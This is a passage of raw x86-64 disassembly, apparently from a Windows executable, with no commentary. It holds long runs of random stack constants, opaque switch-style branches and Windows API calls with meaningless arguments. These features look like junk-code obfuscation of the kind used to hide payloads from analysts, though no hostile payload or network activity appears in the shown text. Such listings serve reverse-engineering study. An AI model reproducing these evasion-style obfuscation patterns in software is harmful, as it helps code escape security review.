mov dword [rsp + 0xa4d4], 0x713c75d3
mov eax, 0x453
mov word [rsp + 0x2844], ax
mov eax, 0x894
mov word [rsp + 0x2848], ax
mov byte [rsp + 0x677], 0x7a
mov eax, 0x126
mov word [rsp + 0x284c], ax
mov dword [rsp + 0xa4d8], 0x24f7760e
mov dword [rsp + 0xa4dc], 0xf01a
mov byte [rsp + 0x678], 0xf1
mov eax, 0xa63
mov word [rsp + 0x2850], ax
mov dword [rsp + 0xa4e0], 0x21d6dd8
mov dword [rsp + 0xa4e4], 0xfbcf
mov dword [rsp + 0xa4e8], 0x4c20
mov dword [rsp + 0xa4ec], 0x55b2b0b4
mov byte [rsp + 0x679], 0x4d
mov dword [rsp + 0xa4f0], 0xb19b
mov dword [rsp + 0xa4f4], 0x934b651
mov eax, 0xdaa
mov word [rsp + 0x2854], ax
mov dword [rsp + 0xa4f8], 0x6ddd9280
mov eax, 0xc9b
mov word [rsp + 0x2858], ax
mov dword [rsp + 0xa4fc], 0x6f584d57
mov dword [rsp + 0xa500], 0x6a15d95b
mov dword [rsp + 0xa504], 0x52b0bcba
mov dword [rsp + 0xa508], 0x736c
mov dword [rsp + 0xa50c], 0x534c5a2a
mov byte [rsp + 0x67a], 0xa2
mov byte [rsp + 0x67b], 0x22
mov dword [rsp + 0xa510], 0x2827188a
mov dword [rsp + 0xa514], 0x333f76cf
mov eax, 0xe2
mov word [rsp + 0x285c], ax
mov dword [rsp + 0xa518], 0x73ec0d97
mov dword [rsp + 0xa51c], 0x45149db
mov dword [rsp + 0xa520], 0xc260
mov byte [rsp + 0x67c], 0x78
mov dword [rsp + 0xa524], 0x7a92
mov dword [rsp + 0xa528], 0xe602
mov dword [rsp + 0xa52c], 0x5aa3b01c
mov dword [rsp + 0xa530], 0x862b
mov dword [rsp + 0xa534], 0xdc85
mov byte [rsp + 0x67d], 0x3a
mov dword [rsp + 0xa538], 0x7bd2c836
mov dword [rsp + 0xa53c], 0x534c
mov byte [rsp + 0x67e], 0xb3
mov dword [rsp + 0xa540], 0x1e122ed1
mov dword [rsp + 0xa544], 0x7755534c
mov eax, 0x186
mov word [rsp + 0x2860], ax
mov dword [rsp + 0xa548], 0x5e5
mov eax, 0x63c
mov word [rsp + 0x2864], ax
mov dword [rsp + 0xa54c], 0x6d32c9a6
mov byte [rsp + 0x67f], 0xa3
mov dword [rsp + 0xa550], 0x2b06e1c8
mov dword [rsp + 0xa554], 0x24a87d39
mov dword [rsp + 0xa558], 0xd6f4
mov eax, 0xfe8
mov word [rsp + 0x2868], ax
mov eax, 0x221
mov word [rsp + 0x286c], ax
mov dword [rsp + 0xa55c], 0x4c006201
mov byte [rsp + 0x680], 0xf5
mov eax, 0x209
mov word [rsp + 0x2870], ax
mov byte [rsp + 0x681], 0x3e
mov dword [rsp + 0xa560], 0x4a44f067
mov byte [rsp + 0x682], 0x6e
mov byte [rsp + 0x683], 0xd9
mov dword [rsp + 0xa564], 0x1ca6
mov dword [rsp + 0xa568], 0x4e357385
mov dword [rsp + 0xa56c], 0xcc6e
mov dword [rsp + 0xa570], 0x8e9aa3a
mov byte [rsp + 0x684], 0x25
mov byte [rsp + 0x685], 0x1e
mov dword [rsp + 0xa574], 0x6899
mov eax, 0x7f9
mov word [rsp + 0x2874], ax
mov dword [rsp + 0xa578], 0xd7f85ef
mov dword [rsp + 0xa57c], 0x6a0a7a5d
mov dword [rsp + 0xa580], 0x6637
mov eax, 0x5b0
mov word [rsp + 0x2878], ax
mov dword [rsp + 0xa584], 0x312a66c4
mov eax, 0xe44
mov word [rsp + 0x287c], ax
mov eax, 0x249
mov word [rsp + 0x2880], ax
mov dword [rsp + 0xa588], 0x7ce9af9e
mov byte [rsp + 0x686], 0x7c
mov byte [rsp + 0x687], 0x54
mov byte [rsp + 0x688], 0xd9
mov eax, 0x5c5
mov word [rsp + 0x2884], ax
mov eax, 0x29f
mov word [rsp + 0x2888], ax
mov eax, 0xdf5
mov word [rsp + 0x288c], ax
mov dword [rsp + 0xa58c], 0xc967
mov byte [rsp + 0x689], 0x6d
mov byte [rsp + 0x68a], 0x31
mov dword [rsp + 0xa590], 0x19cc
mov eax, 0x34f
mov word [rsp + 0x2890], ax
mov dword [rsp + 0xa594], 0x2418bc14
mov dword [rsp + 0xa598], 0xf5d0
mov dword [rsp + 0xa59c], 0xebb5
mov dword [rsp + 0xa5a0], 0x14fe4acf
mov eax, 0x995
mov word [rsp + 0x2894], ax
mov dword [rsp + 0xa5a4], 0xe0e9
mov byte [rsp + 0x68b], 0x83
mov eax, 0xd7
mov word [rsp + 0x2898], ax
mov eax, 0xf99
mov word [rsp + 0x289c], ax
mov dword [rsp + 0xa5a8], 0x5078c689
mov byte [rsp + 0x68c], 0x1e
mov byte [rsp + 0x68d], 0x33
mov dword [rsp + 0xa5ac], 0x5d19
mov byte [rsp + 0x68e], 0x7b
mov eax, 0xa96
mov word [rsp + 0x28a0], ax
mov dword [rsp + 0xa5b0], 0x1587e04f
mov dword [rsp + 0xa5b4], 0x306815b5
mov dword [rsp + 0xa5b8], 0x4b99dad6
mov byte [rsp + 0x68f], 0x6e
mov byte [rsp + 0x690], 0x20
mov byte [rsp + 0x691], 0x16
mov dword [rsp + 0xa5bc], 0x63e3773f
mov dword [rsp + 0xa5c0], 0x2339e460
mov byte [rsp + 0x692], 0x9c
mov dword [rsp + 0xa5c4], 0x51a5
mov byte [rsp + 0x693], 0x2a
mov byte [rsp + 0x694], 0
mov dword [rsp + 0xa5c8], 0x24096267
mov dword [rsp + 0xa5cc], 0x24120ecf
mov eax, 0x336
mov word [rsp + 0x28a4], ax
mov dword [rsp + 0xa5d0], 0x92f
mov dword [rsp + 0xa5d4], 0x7b72913a
mov eax, 0x4ba
mov word [rsp + 0x28a8], ax
mov byte [rsp + 0x695], 0xbc
mov dword [rsp + 0xa5d8], 0x513818be
mov dword [rsp + 0xa5dc], 0x52c7b1
mov eax, 0xfb4
mov word [rsp + 0x28ac], ax
mov eax, 0x980
mov word [rsp + 0x28b0], ax
mov byte [rsp + 0x696], 0x95
mov dword [rsp + 0xa5e0], 0xccdf
mov dword [rsp + 0xa5e4], 0x54eaedc0
mov eax, 0x314
mov word [rsp + 0x28b4], ax
mov eax, 0x30a
mov word [rsp + 0x28b8], ax
mov dword [rsp + 0xa5e8], 0x4c18f6be
mov dword [rsp + 0xa5ec], 0x48dd7e1c
mov dword [rsp + 0xa5f0], 0x215e9799
mov byte [rsp + 0x697], 0x72
mov eax, 0x5b9
mov word [rsp + 0x28bc], ax
mov dword [rsp + 0xa5f4], 0x6e8affc1
mov eax, 0xd9d
mov word [rsp + 0x28c0], ax
mov dword [rsp + 0xa5f8], 0x7d63a318
mov eax, 0x206
mov word [rsp + 0x28c4], ax
mov dword [rsp + 0xa5fc], 0x41bde24
mov byte [rsp + 0x698], 0x9c
mov dword [rsp + 0xa600], 0x9bc1
mov dword [rsp + 0xa604], 0x1d1cda46
mov eax, 0x9c7
mov word [rsp + 0x28c8], ax
mov eax, 0x891
mov word [rsp + 0x28cc], ax
mov dword [rsp + 0xa608], 0x100c49b1
mov dword [rsp + 0xa60c], 0x52a29978
mov byte [rsp + 0x699], 0xa0
mov eax, 0x4de
mov word [rsp + 0x28d0], ax
mov eax, 0x3df
mov word [rsp + 0x28d4], ax
mov dword [rsp + 0xa610], 0x763e
mov eax, 0x54b
mov word [rsp + 0x28d8], ax
mov dword [rsp + 0xa614], 0x4249
mov eax, 0xa18
mov word [rsp + 0x28dc], ax
mov byte [rsp + 0x69a], 0xe0
mov dword [rsp + 0xa618], 0x2681
mov byte [rsp + 0x69b], 0x5d
mov dword [rsp + 0xa61c], 0xf9c
mov byte [rsp + 0x69c], 0x38
mov eax, 0xdcb
mov word [rsp + 0x28e0], ax
mov dword [rsp + 0xa620], 0x7ea1
mov eax, 0x593
mov word [rsp + 0x28e4], ax
mov dword [rsp + 0xa624], 0x3bf21f21
mov eax, 0x17c
mov word [rsp + 0x28e8], ax
mov dword [rsp + 0xa628], 0x592f11e3
mov dword [rsp + 0xa62c], 0x5863e82a
mov dword [rsp + 0xa630], 0x76c15c15
mov dword [rsp + 0xa634], 0x67ace8ed
mov eax, 0xbde
mov word [rsp + 0x28ec], ax
mov eax, 0xa42
mov word [rsp + 0x28f0], ax
mov dword [rsp + 0xa638], 0x35af
mov eax, 0x32c
mov word [rsp + 0x28f4], ax
mov byte [rsp + 0x69d], 0x42
mov eax, 0xf7
mov word [rsp + 0x28f8], ax
mov eax, 0x3c
mov word [rsp + 0x28fc], ax
mov dword [rsp + 0xa63c], 0x1bce73f9
mov dword [rsp + 0xa640], 0x69558d1e
mov dword [rsp + 0xa644], 0x7c212739
mov dword [rsp + 0xa648], 0x1a61
mov dword [rsp + 0xa64c], 0xcc9e
mov byte [rsp + 0x69e], 7
mov byte [rsp + 0x69f], 0xd6
mov dword [rsp + 0xa650], 0x4f7c44d2
mov byte [rsp + 0x6a0], 0xc3
mov dword [rsp + 0xa654], 0x6e8a9a69
mov dword [rsp + 0xa658], 0x18578c4
mov dword [rsp + 0xa65c], 0x5756e267
mov dword [rsp + 0xa660], 0x301c
mov byte [rsp + 0x6a1], 0x10
mov dword [rsp + 0xa664], 0xb9d8
mov dword [rsp + 0xa668], 0x7574be41
mov eax, 0xdbe
mov word [rsp + 0x2900], ax
mov dword [rsp + 0xa66c], 0xb0b1
mov dword [rsp + 0xa670], 0x3fd37f6f
mov dword [rsp + 0xa674], 0x125d6a2d
mov eax, 0x91e
mov word [rsp + 0x2904], ax
mov dword [rsp + 0xa678], 0xdebf483
mov dword [rsp + 0xa67c], 0x6d731be
mov dword [rsp + 0xa680], 0x6b60251a
mov dword [rsp + 0xa684], 0x1d9cc2fc
mov dword [rsp + 0xa688], 0x63a86891
mov dword [rsp + 0xa68c], 0x37069424
mov eax, 0x84
mov word [rsp + 0x2908], ax
mov dword [rsp + 0xa690], 0x16013a07
mov dword [rsp + 0xa694], 0x6c399453
mov dword [rsp + 0xa698], 0xc4a
mov dword [rsp + 0xa69c], 0x301559ac
mov byte [rsp + 0x6a2], 0x1a
mov dword [rsp + 0xa6a0], 0xa3e2
mov dword [rsp + 0xa6a4], 0xf376
mov eax, 0x65d
mov word [rsp + 0x290c], ax
mov dword [rsp + 0xa6a8], 0x76c8
mov eax, 0x1b0
mov word [rsp + 0x2910], ax
mov eax, 0x7f5
mov word [rsp + 0x2914], ax
mov dword [rsp + 0xa6ac], 0x9f27
mov dword [rsp + 0xa6b0], 0x3745
mov eax, 0xa43
mov word [rsp + 0x2918], ax
mov dword [rsp + 0xa6b4], 0x202da433
mov dword [rsp + 0xa6b8], 0xb91c
mov dword [rsp + 0xa6bc], 0x6bc0
mov eax, 0xa48
mov word [rsp + 0x291c], ax
mov eax, 0xe9
mov word [rsp + 0x2920], ax
mov dword [rsp + 0xa6c0], 0x3ed2bbe6
mov dword [rsp + 0xa6c4], 0x6609b493
mov byte [rsp + 0x6a3], 0x38
mov dword [rsp + 0xa6c8], 0x11252a3
mov eax, 0x32
mov word [rsp + 0x2924], ax
mov dword [rsp + 0xa6cc], 0x441244ba
mov eax, 0x5be
mov word [rsp + 0x2928], ax
mov dword [rsp + 0xa6d0], 0x27ecebe0
mov dword [rsp + 0xa6d4], 0x7005b24f
mov eax, 0x3ec
mov word [rsp + 0x292c], ax
mov byte [rsp + 0x6a4], 8
mov dword [rsp + 0xa6d8], 0x2f11d442
mov dword [rsp + 0xa6dc], 0x5b56c2a8
mov eax, 0x64e
mov word [rsp + 0x2930], ax
mov dword [rsp + 0xa6e0], 0x142f81c
mov eax, 0xca5
mov word [rsp + 0x2934], ax
mov eax, 0x3f2
mov word [rsp + 0x2938], ax
mov dword [rsp + 0xa6e4], 0x2394443d
mov dword [rsp + 0xa6e8], 0x2ba31fa0
mov eax, 0x310
mov word [rsp + 0x293c], ax
mov eax, 0x4da
mov word [rsp + 0x2940], ax
mov eax, 0x62
mov word [rsp + 0x2944], ax
mov eax, 0xabf
mov word [rsp + 0x2948], ax
mov eax, 0x21f
mov word [rsp + 0x294c], ax
mov dword [rsp + 0xa6ec], 0x6a11
mov dword [rsp + 0xa6f0], 0x4429
mov eax, 0xbb2
mov word [rsp + 0x2950], ax
mov eax, SetWindowSubclass
mov word [rsp + 0x2954], ax
mov dword [rsp + 0xa6f4], 0x7e2243e6
mov byte [rsp + 0x6a5], 0x73
mov eax, 0x265
mov word [rsp + 0x2958], ax
mov dword [rsp + 0xa6f8], 0xd990
mov byte [rsp + 0x6a6], 0x93
mov dword [rsp + 0xa6fc], 0x3df6ec37
mov dword [rsp + 0xa700], 0x5a07
mov eax, 0xf4e
mov word [rsp + 0x295c], ax
mov dword [rsp + 0xa704], 0x2e8bc346
mov dword [rsp + 0xa708], 0x66f7ce77
mov byte [rsp + 0x6a7], 0x10
mov dword [rsp + 0xa70c], 0xc04df5
mov eax, 0x14f
mov word [rsp + 0x2960], ax
mov dword [rsp + 0xa710], 0x3cb4d4c2
mov dword [rsp + 0xa714], 0xede3
mov dword [rsp + 0xa718], 0x694e81e4
mov dword [rsp + 0xa71c], 0xfacb
mov dword [rsp + 0xa720], 0x3aca85ba
mov dword [rsp + 0xa724], 0x680ad70
mov dword [rsp + 0xa728], 0x556c4787
mov dword [rsp + 0xa72c], 0xdb5f
mov eax, 0x67a
mov word [rsp + 0x2964], ax
mov dword [rsp + 0xa730], 0x322b2f94
mov dword [rsp + 0xa734], 0x375ef0a8
mov dword [rsp + 0xa738], 0x74616754
mov dword [rsp + 0xa73c], 0x665d162c
mov byte [rsp + 0x6a8], 0x9d
mov eax, 0xd8e
mov word [rsp + 0x2968], ax
mov dword [rsp + 0xa740], 0x2a4b
mov dword [rsp + 0xa744], 0x8555
mov eax, 0x905
mov word [rsp + 0x296c], ax
mov byte [rsp + 0x6a9], 0x6a
mov dword [rsp + 0xa748], 0x4f1e3e91
mov eax, 0x1dc
mov word [rsp + 0x2970], ax
mov byte [rsp + 0x6aa], 0x85
mov dword [rsp + 0xa74c], 0x5d9a20d8
mov dword [rsp + 0xa750], 0x5aa6ee62
mov dword [rsp + 0xa754], 0x7d0a185b
mov dword [rsp + 0xa758], 0x2e0
mov dword [rsp + 0xa75c], 0x676868dd
mov dword [rsp + 0xa760], 0x5b274194
mov eax, 0xd88
mov word [rsp + 0x2974], ax
mov byte [rsp + 0x6ab], 0xcb
mov dword [rsp + 0xa764], 0x1018
mov eax, 0x3ba
mov word [rsp + 0x2978], ax
mov eax, 0x476
mov word [rsp + 0x297c], ax
mov dword [rsp + 0xa768], 0x1f3853f1
mov byte [rsp + 0x6ac], 0x54
mov eax, 0x831
mov word [rsp + 0x2980], ax
mov dword [rsp + 0xa76c], 0xad6cfb6
mov byte [rsp + 0x6ad], 0xbc
mov byte [rsp + 0x6ae], 0x55
mov byte [rsp + 0x6af], 0x37
mov dword [rsp + 0xa770], 0x2d5759a8
mov dword [rsp + 0xa774], 0x739eef44
movsx eax, word [rsp + 0x197c]
sub eax, 0x201
mov word [rsp + 0x197c], ax
movsx eax, word [rsp + 0x197c]
mov dword [rsp + 0xa778], eax
cmp dword [rsp + 0xa778], 0xffffffe6
je 0x140019bec
cmp dword [rsp + 0xa778], 0x2f4
je 0x140019cc2
cmp dword [rsp + 0xa778], 0x3e6
je 0x140019d91
cmp dword [rsp + 0xa778], 0x703
je 0x140019aca
cmp dword [rsp + 0xa778], 0x7aa
je 0x140019e2e
jmp 0x140019f13
movsx eax, word [rsp + 0x197c]
add eax, 0x51c
mov word [rsp + 0x197c], ax
lea r8, [rsp + 0x49f10]
mov edx, 0x81
mov rcx, qword [rsp + 0x12ec8]
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
mov dword [rsp + 0xa77c], eax
movsx eax, word [rsp + 0x197c]
and eax, 0x311
mov word [rsp + 0x197c], ax
movsx eax, word [rsp + 0x197c]
or eax, 0x6e6
mov word [rsp + 0x197c], ax
mov eax, dword [rsp + 0xa774]
sar eax, 0x1d
mov dword [rsp + 0xa774], eax
lea rax, [rsp + 0xa774]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa780]
mov r8d, 0x4a
mov edx, 0x11
mov rcx, qword [rsp + 0x12ed0]
call qword [sym.imp.USER32.dll_ScrollWindow]
mov dword [rsp + 0xa780], eax
mov eax, dword [rsp + 0xa774]
shl eax, 0x1a
mov dword [rsp + 0xa774], eax
movsx eax, word [rsp + 0x197c]
xor eax, 0x5c5
mov word [rsp + 0x197c], ax
mov eax, dword [rsp + 0xa774]
sub eax, 0x6bdaee2e
mov dword [rsp + 0xa774], eax
lea r9, [rsp + 0x12ec8]
lea r8, [rsp + 0x197c]
mov edx, 0xd9
mov rcx, qword [rsp + 0x12ed8]
call qword [sym.imp.USER32.dll_DrawAnimatedRects]
mov dword [rsp + 0xa784], eax
mov eax, dword [rsp + 0xa774]
add eax, 0x775559fd
mov dword [rsp + 0xa774], eax
jmp 0x140019f13
lea rcx, str.WDLN3k58
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2984], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xa774]
mov qword [rsp + 0x12ee0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.UH5EY9O5Wd_t7Bq36eNLgXm
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12ee8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.8kg5Z1Jl01ZBgKrFrAWRV
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12ef0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa788], eax
mov byte [rsp + 0x6b0], 0x5e
lea rcx, str.X7DaeI
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2988], ax
jmp 0x140019f13
movsx eax, word [rsp + 0x197c]
and eax, 0x1f7
mov word [rsp + 0x197c], ax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
add eax, 0x160daa68
mov dword [rsp + 0xa774], eax
mov eax, dword [rsp + 0xa774]
sub eax, 0x6b7acd49
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov ecx, 0xcf
call qword [sym.imp.USER32.dll_GetQueueStatus]
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
and eax, 0x2d1976d3
mov dword [rsp + 0xa774], eax
mov eax, dword [rsp + 0xa774]
sar eax, 0x1b
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa774]
mov rcx, qword [rsp + 0x12ee0]
mov qword [rsp + 0x12ef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12ef8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x140019f13
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
xor eax, 0x7e7b9fd6
mov dword [rsp + 0xa774], eax
mov dword [rsp + 0x20], 0x59
mov r9d, 0x16
mov r8d, 0xfe
mov edx, 0xd1
mov rcx, qword [rsp + 0x12f00]
call qword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [rsp + 0xa77c], eax
mov eax, dword [rsp + 0xa774]
or eax, 0x62177793
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6b0]
add eax, 0x73
mov byte [rsp + 0x6b0], al
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
sub eax, 0x5863dcf7
mov dword [rsp + 0xa774], eax
mov eax, dword [rsp + 0xa774]
and eax, 0x3b140147
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x140019f13
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
add eax, 0x11b92381
mov dword [rsp + 0xa774], eax
mov eax, dword [rsp + 0xa774]
sub eax, 0x1bc66aab
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov ecx, 0x9f
call qword [sym.imp.USER32.dll_SetCaretBlinkTime]
mov dword [rsp + 0xa790], eax
movsx eax, byte [rsp + 0x6b0]
or eax, 0x2f
mov byte [rsp + 0x6b0], al
mov eax, dword [rsp + 0xa774]
and eax, 0xea4cd7b
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x197c]
add eax, 0x5fb
mov word [rsp + 0x197c], ax
mov eax, dword [rsp + 0xa774]
sub eax, 0x7e2b9745
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa774]
and eax, 0x1b76fcae
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
sar eax, 0x14
mov dword [rsp + 0xa774], eax
mov r9, qword [rsp + 0x12f08]
lea r8, [rsp + 0x197c]
mov edx, 0x3c
mov rcx, qword [rsp + 0x12f10]
call qword [sym.imp.USER32.dll_AppendMenuW]
mov dword [rsp + 0xa790], eax
movsx eax, word [rsp + 0x197c]
cmp eax, 0x1b5
jge 0x14001a2a7
movzx eax, byte [rsp + 0x43d]
xor eax, 0xe2
mov byte [rsp + 0x43d], al
mov dword [rsp + 0xa794], 0x851
cmp dword [rsp + 0xa78c], 0x19ae
ja 0x14001a2a7
movsx eax, word [rsp + 0x197c]
mov dword [rsp + 0xa798], eax
cmp dword [rsp + 0xa798], 0x4c4
jg 0x140019fb8
cmp dword [rsp + 0xa798], 0x4c4
je 0x14001a276
cmp dword [rsp + 0xa798], 0xffffffe6
je 0x14001a0d1
cmp dword [rsp + 0xa798], 0x340
je 0x14001a257
cmp dword [rsp + 0xa798], 0x3e1
je 0x14001a295
jmp 0x14001a2a7
cmp dword [rsp + 0xa798], 0x5f0
je 0x14001a247
cmp dword [rsp + 0xa798], 0x73f
je 0x14001a0b6
cmp dword [rsp + 0xa798], 0x7fb
je 0x140019fec
jmp 0x14001a2a7
mov dword [rsp + 0xa78c], 0xc738
mov eax, dword [rsp + 0xa774]
shl eax, 3
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
or eax, 0x7488a118
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov dword [rsp + 0xa78c], 0x6b15
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
lea rax, [rsp + 0x49f10]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x12f00]
mov r8d, 0xa
mov edx, 0x35
mov rcx, qword [rsp + 0x12f18]
call qword [sym.imp.USER32.dll_ScrollWindow]
mov dword [rsp + 0xa784], eax
mov eax, dword [rsp + 0xa774]
and eax, 0x5b8cf096
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14001a2a7
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
add eax, 0x665abc0d
mov dword [rsp + 0xa774], eax
jmp 0x14001a2a7
lea rax, [rsp + 0xa774]
mov qword [rsp + 0x12f20], rax
mov dword [rsp + 0xa79c], 0x6727
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x12f28], rax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
cmp eax, dword [rcx]
jle 0x14001a1ac
mov dword [rsp + 0xa78c], 0xffc0
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
lea rdx, [rsp + 0x12f08]
mov rcx, qword [rsp + 0x12f30]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov dword [rsp + 0xa790], eax
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14001a23a
movsx eax, byte [rsp + 0x6b0]
cmp eax, 0x61
jne 0x14001a1ea
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x43d]
sub eax, 0x40
mov byte [rsp + 0x43d], al
jmp 0x14001a23a
movzx eax, byte [rsp + 0x43d]
cmp eax, 0xd9
jne 0x14001a20d
movzx eax, byte [rsp + 0x43d]
sar eax, 5
mov byte [rsp + 0x43d], al
jmp 0x14001a23a
cmp dword [rsp + 0xa78c], 0x2785
jne 0x14001a23a
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa774]
shl eax, cl
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov dword [rsp + 0xa7a0], 0x50b7
jmp 0x14001a2a7
call qword [sym.imp.USER32.dll_GetClipboardViewer]
mov qword [rsp + 0x12f18], rax
jmp 0x14001a2a7
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa774], eax
jmp 0x14001a2a7
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
jmp 0x14001a2a7
movzx eax, byte [rsp + 0x43d]
and eax, 0x69
mov byte [rsp + 0x43d], al
mov eax, dword [rsp + 0xa774]
mov dword [rsp + 0xa7a4], eax
cmp dword [rsp + 0xa7a4], 0x739eef44
jg 0x14001a30b
cmp dword [rsp + 0xa7a4], 0x739eef44
je 0x14001a45f
cmp dword [rsp + 0xa7a4], 0x20ed94f8
je 0x14001a5ce
cmp dword [rsp + 0xa7a4], 0x28632288
je 0x14001a79f
cmp dword [rsp + 0xa7a4], 0x29f9881e
je 0x14001a875
jmp 0x14001a90a
cmp dword [rsp + 0xa7a4], 0x74b74531
je 0x14001a32e
cmp dword [rsp + 0xa7a4], 0x7807ab23
je 0x14001a6d0
jmp 0x14001a90a
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa774], eax
mov rcx, qword [rsp + 0x12ed8]
call qword [sym.imp.USER32.dll_GetLastActivePopup]
mov qword [rsp + 0x12f18], rax
mov dword [rsp + 0xa78c], 0x9d1c
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov dword [rsp + 0xa78c], 0xd162
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
call qword [sym.imp.USER32.dll_GetShellWindow]
mov qword [rsp + 0x12ed8], rax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14001a96e
movzx eax, byte [rsp + 0x6b0]
mov byte [rsp + 0xa7a8], al
cmp byte [rsp + 0xa7a8], 0x18
je 0x14001a584
cmp byte [rsp + 0xa7a8], 0x27
je 0x14001a520
cmp byte [rsp + 0xa7a8], 0x38
je 0x14001a5a6
cmp byte [rsp + 0xa7a8], 0x52
je 0x14001a552
cmp byte [rsp + 0xa7a8], 0x5e
je 0x14001a4b5
jmp 0x14001a5c9
mov eax, 0x9e3
